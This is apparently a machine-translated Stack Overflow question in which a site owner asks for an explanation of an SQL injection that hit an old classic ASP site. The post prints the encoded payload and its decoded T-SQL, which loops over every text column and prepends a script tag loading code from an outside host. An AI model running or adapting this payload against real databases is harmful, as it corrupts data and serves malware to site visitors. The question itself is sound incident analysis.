Может ли кто-нибудь объяснить мне эту атаку с использованием SQL-инъекции?

Я хотел опубликовать это здесь, так как это во многом связано с кодированием, и на этой неделе мне пришлось очистить его на одном из старых ASP (классических) сайтов моей компании.

Мы подверглись атаке с использованием SQL-инъекций, которая была запущена всего несколько дней назад, но я ломаю голову, КАКОЙ именно «ущерб» был нанесен SQL-серверу (через эти SQL-запросы).

Честно говоря, я подумал, что это было очень изобретательно, и моя компания виновата в том, что у нее был старый сайт 10-летней давности, практически не подвергнутый дезинфекции.

Атака:

122 + +% объявляют 40s + VARCHAR% 284000% 29 + набор +% 40s% 3Dcast% 280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40 + as + varchar% 284000% 29% 29 + exec% 28% 40s% 29-

Что он декодирует: (что я хочу понять)

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Мы восстановили резервную копию (предварительная инъекция) и прошел через все приложение и продезинфицировал все операторы ввода.Наш сервер защищен брандмауэром, поэтому прямого доступа к SQL нет, однако я хочу знать, что еще можно было оставить, и я должен признать, что SQL-запрос мне не по зубам.

Может ли кто-нибудь взломать его и объяснить мне атаку SQL?

ИЗВИНЕНИЯ Я ОБНОВИЛ ПОЛНЫЙ ДАМП и SQL

46
задан ruakh 6 May 2014 в 18:57
поделиться